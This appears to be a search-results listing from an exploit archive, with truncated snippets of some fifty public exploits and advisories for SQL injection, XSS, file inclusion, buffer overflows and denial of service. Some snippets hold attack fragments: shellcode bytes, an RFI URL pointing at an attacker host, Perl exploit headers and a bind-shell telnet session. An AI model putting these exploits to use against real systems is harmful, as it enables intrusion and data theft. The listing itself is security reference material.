56796 matches found
E-commerce Group (cat.php) SQL Injection Vulnerability
No description provided by source. Exploit Title: E-commerce Group cat.php SQL Injection Vulnerability Date: 2010/05/21 Author:BLack Revenge Software Link: Version: Tested on: CVE : ============================== E-commerce Group cat.php SQL Injection Vulnerability Founder: BLaCk RevenGe Email:-...
F3Site 2011 alfa 1 Multiple Vulnerabilities (xss, csrf)
No description provided by source. Vulnerability ID: HTB22757 Reference: http://www.htbridge.ch/advisory/xsrfcsrfinf3site.html Product: F3Site Vendor: COMPMaster http://dhost.info/compmaster/ Vulnerable Version: 2011 alfa 1 and probably prior versions Vendor Notification: 21 December 2010...
CLscript Classified Script 3.0 - SQL Injection
No description provided by source...
SCO OpenServer 5.0.x 'mana' REMOTE_ADDR Authentication Bypass Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/8616/info It has been reported that SCO OpenServer Internet Manager 'mana' process is prone to an authentication bypass issue. The issue is reported to occur as a local user is able to export the REMOTEADDR environment...
QuickPayPro 3.1 tracking.details.php trackingid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/15863/info QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. Successful exploitation of these vulnerabilities...
Scripts Genie Pet Rate Pro - Multiple Vulnerabilities
No description provided by source...
WordPress Plugin My Category Order <= 2.8 - SQL Injection Vulnerability
No description provided by source. Source: WordPress Plugin: My Category Order = 2.8 mycategoryorder.php / SQL Injection Vulnerability Download: http://wordpress.org/extend/plugins/my-category-order/ No Dork Author: ManhLuat93 at hcegroupdotnet Errors appears only when you have admin control Open...
linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes
No description provided by source. / linux-x86-binshv2.c - 23 bytes Copyright c 2006 Gotfault Security [email protected] Linux/x86 execve/bin/sh, /bin/sh, NULL / char shellcode = \x6a\x0b // push $0xb \x58 // pop %eax \x99 // cltd \x52 // push %edx \x68\x2f\x2f\x73\x68 // push $0x68732f2f...
iDevSpot iDevCart 1.10 Multiple Local File Inclusion Vulnerabilities
No description provided by source. / / / \ \ \ \ \ / / \\ \ \ \ \ // /// \ \ / / \ //|\ / \ \ \ \ \ \ / / \ \ / / \ | | | \ | | || | | |/ / \ V / || |\ V / / \ | / \ | /| | | || / | | | | . | ' || / | || // \ // \|||/|||||||||\ .WEB.ID...
MD News 1 Admin.PHP SQL Injection Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/17394/info MD News is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow a...
Sun Java Applet Font.createFont Remote Denial of Service Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/17981/info Sun Java is prone to a remote denial-of-service vulnerability because the application fails to properly handle certain Java applets. Successfully exploiting this issue will cause the application to create a...
WireShark < 0.99.6 MMS Remote Denial of Service Exploit
No description provided by source. include winsock2.h include stdio.h pragma commentlib, ws232 char http = POST / HTTP/1.0\r\n Content-Type: application/vnd.wap.mms-message\r\n; char hoststr = Host: %s:%d\r\n; char contentlenstr = Content-Length: %d\r\n\r\n; unsigned char mms =...
HTML Email Creator & Sender 2.3 - Local Buffer Overflow PoC (SEH)
No description provided by source. /0day HTML Email Creator & Sender v2.3 Local Buffer OverflowSeh Poc Debugging info Seh handler is overwriten , the offset is at 60 bytes in our buffer so you have to build your buffer as follows: PONTER TO NEXT SEH-------SEH HANDLER----NOP------SHELLCODE | | | |...
Wordpress PICA Photo Gallery Plugin 1.0 - Remote File Disclosure
No description provided by source. Description : Wordpress Plugins - PICA Photo Gallery Remote File Disclosure Vulnerability Version : 1.0 Link : http://wordpress.org/extend/plugins/pica-photo-gallery/ Plugins : http://downloads.wordpress.org/plugin/pica-photo-gallery.zip Date : 30-05-2012 Google...
creLoaded <= 6.15 (HTMLAREA) Automated Perl Exploit
No description provided by source. !/usr/bin/perl creLoaded = 6.15 HTMLAREA automated perl exploit hacked up by kaneda [email protected] Rather simple exploit, but still an exploit nonetheless. Attempts to upload php script and utilise that to execute commands, and show off a fake shell. C...
LiveCart 1.0.1 category q Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/27087/info LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browse...
A-PDF All to MP3 2.3.0 - Universal DEP Bypass Exploit
No description provided by source...
dotProject <= 2.0.3 (baseDir) Remote File Inclusion Vulnerability
No description provided by source. Credits : h4ntu Title : dotProject = 2.0.3 Remote File Inclusion URL : http://www.dotproject.net/ Exploit : http://target.com/dotProjectpath/includes/dbadodb.php?baseDir=attacker milw0rm.com 2006-06-20...
7-Technologies IGSS 9 Data Server/Collector Packet Handling Vulnerabilities
No description provided by source. $Id: igss9misc.rb 12779 2011-05-31 14:33:19Z swtornio $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of us...
Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' require 'rex' require...
Jax PHP Scripts 1.0/1.34/2.14/3.31 dwt_editor.php Multiple Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/14481/info Jax PHP Scripts are affected by multiple cross-site scripting vulnerabilities. These issues are due to a failure in the applications to properly sanitize user-supplied input. An attacker may leverage any of the...
Jinzora 2.7.5 slim.php Multiple Parameter XSS
No description provided by source. source: http://www.securityfocus.com/bid/27876/info Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary...
Openemr-4.1.0 - SQL Injection Vulnerability
No description provided by source. Exploit Title: Openemr-4.1.0 SQL injection Vulnerability Date: 2011/10/18 Author: I2sec-dae jin Oh Software Link: http://sourceforge.net/projects/openemr/files/OpenEMR%20Current/4.1.0/openemr-4.1.0.zip/download Vendor : www.open-emr.com Version: Openemr-4.1.0...
File Uploader 1.1 index.php config[root_ordner] Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/25253/info File Uploader is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied input. Exploiting these issues may allow an attacker to compromise the application...
Microsoft Internet Explorer 7.0 NavCancel.HTM Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/22966/info Microsoft Internet Explorer is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data. An attacker can exploit this issue to spoof the contents o...
PhotoPost vBGallery 2.4.2 - Arbitrary File Upload Vulnerability
No description provided by source. vBulletin PhotoPost vBGallery v2.x Remote File Upload Found by : Cold z3ro e-mail : [email protected] Home page : www.Hack.ps ============================== exploit usage : http://localhost/Forum/$gallerypath/upload.php here the exploiter can upload php...
Working Resources BadBlue Server 2.40 phptest.php Path Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/9737/info It has been reported that BadBlue Server may be prone to a remote path disclosure vulnerability that may allow an attacker to disclose the installation path by issuing a request for 'phptest.php' script. BadBlue...
The Rat CMS viewarticle2.php id Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/29959/info The Rat CMS is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data. Exploiting these...
PHP-Wiki 1.2/1.3 Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/5254/info PHP-Wiki does not sufficiently sanitize HTML from URI parameters, making it prone to cross-site scripting attacks. An attacker may exploit this condition by enticing users to visit a malicious link which contain...
QuickPayPro 3.1 sales.view.php customerid Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/15863/info QuickPayPro is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. Successful exploitation of these vulnerabilities...
Kerio Mailserver 5.6.3 list Module Overflow
No description provided by source. source: http://www.securityfocus.com/bid/7967/info Multiple buffer overrun vulnerabilities have been discovered in Kerio MailServer, which affect the webmail component. The problem occurs when handling usernames of excessive length and likely occurs due to...
PunBB Reputation.php Mod <= 2.0.4 - Local File Inclusion Exploit
No description provided by source. !/usr/bin/perl 0-Day PunBB Reputation.php Mod = v2.0.4 Local File Inclusion Exploit Coded By Dante90, WaRWolFz Crew Bug Discovered By: Dante90, WaRWolFz Crew registerglobals = On magicquotesgpc = On use LWP::UserAgent; use HTTP::Cookies; use strict; my $EtcPassw...
SaurusCMS <= 4.6.4 - Multiple RFI Exploit
No description provided by source. Exploit Title: SaurusCMS = 4.6.4 Multiple RFI Exploit Date: 19-12-2009 Author: cr4wl3r Software Link: http://www.saurus.info Version: N/A Tested on: GNU/LINUX Code class.writeexcelworkbook.inc.php global $classpath; requireonce...
Document Library 1.0.1 Arbitrary Change Admin Vulnerability
No description provided by source. @=======================================@ ====C4TEAM.ORG====ByALBAYX====C4TEAM.ORG===== @=======================================@ @=Author : ByALBAYX @=Website : WWW.C4TEAM.ORG @=Contry : Turkish @=======================================@ @=Script :Document Libra...
CyberBuild 0 login.asp SessionID Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/17829/info CyberBuild is prone to multiple input-validation vulnerabilities. The issues include cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly...
PHPFM Arbitrary File Upload Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/15335/info PHPFM is prone to an arbitrary file upload vulnerability. An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate...
PHPJabbers Post Comments 3.0 Cookie Authentication Bypass Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/31467/info PHPJabbers Post Comments is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication. An attacker can exploit this...
Half-Life 1.1 Client Server Message Format String Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/6582/info It has been reported that the Half-Life client contains a format string vulnerability. When receiving messages from an administrator through the adminmod add-on package, the client does not properly handle input...
JAWS 0.x Remote File Include Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/14158/info JAWS is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary...
Stockman Shopping Cart 7.8 Arbitrary Command Execution Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/7485/info Stockman Shopping Cart has been reported prone to a remote command execution vulnerability. This issue presents itself in the 'shop.plx' script. The problem results from a lack of sufficient sanitization perform...
Microsoft Windows XP/2000/NT 4 RPC Service Denial of Service Vulnerability (3)
No description provided by source. source: http://www.securityfocus.com/bid/6005/info The Microsoft Windows RPC service contains a flaw that may allow a remote attacker to cause a denial of service. By sending a specifically malformed packet to TCP port 135, the RPC service will be disabled. This...
phpMyTeam <= 2.0 (smileys_dir) Remote File Include Vulnerability
No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= phpMyTeam v2.0 = smileysdir Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Discovered by...
PHP <= 5.2.3 snmpget() object id Local Buffer Overflow Exploit (EDI)
No description provided by source. ?php / Inphex reference -http://milw0rm.com/exploits/4204 317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm. GET /script.php HTTP/1.1\n telnet 192.168.2.32 4444 Microsoft Windows XP Version 5.1.2600 C Copyright 1985-2001...
phpbms 0.96 Multiple Vulnerabilities
No description provided by source. phpBMS v0.96 phpbms.org eLwauxc2009, uasc.org.ua http://phpbms.org/trial/ SQL Inj -------------------------------------------------------------------------------------------------------------------------------------------------------------------------...
TFTPUtil GUI 1.4.5 - DoS (Meta)
No description provided by source. Title: TFTPUtil GUI v1.4.5 Invalid Request DoS CVE-ID: OSVDB-ID: Author: Vuk Ivanovic Published: 2010-12-04 Verified: yes This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit...
ScriptFTP <= 3.3 - Remote Buffer Overflow (LIST)
No description provided by source. Exploit Title: ScriptFTP =3.3 Remote Buffer Overflow LIST Date: September 20, 2011 Author: modpr0be Software Link: http://www.scriptftp.com/ScriptFTP33setup.exe Version: 3.3 Tested on: Windows XP SP3, Windows Server 2003 SP1 SE VMware 3.1.4 build-385536 CVE : -...
DmxReady Secure Document Library 1.2 - SQL Injection Vulnerability
No description provided by source. Exploit Title: DmxReady Secure Document Library v1.2 SQL Injection Vulnerability Google Dork: inurl:incsecuredocumentlibrary.asp Date: 03.07.2011 Author: Bellatrix Software Link: http://www.dmxready.com/?product=secure-document-library Version: v1.2 Language: AS...
Thibault Godouet FCron 1 Symbolic Link Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/2835/info FCron is an implementation of the popular UNIX 'cron' utility that runs user-specified programs at periodic scheduled times. fcron is vulnerable to symbolic link attacks. It is possible for an attacker to...
Back-End CMS <= 0.7.2.2 (BE_config.php) Remote Include Vulnerability
No description provided by source. DEVIL TEAM THE BEST POLISH TEAM Back-End CMS - Remote File Include Vulnerabilities Find by Kacper Rahim. Greetings For ALL DEVIL TEAM members, Special DragonHeart : Contact: [email protected] or http://www.devilteam.yum.pl Site of script: http://www.back-end.o...
SyntaxCMS Search Query Cross-Site Scripting Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/16033/info SyntaxCMS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary scri...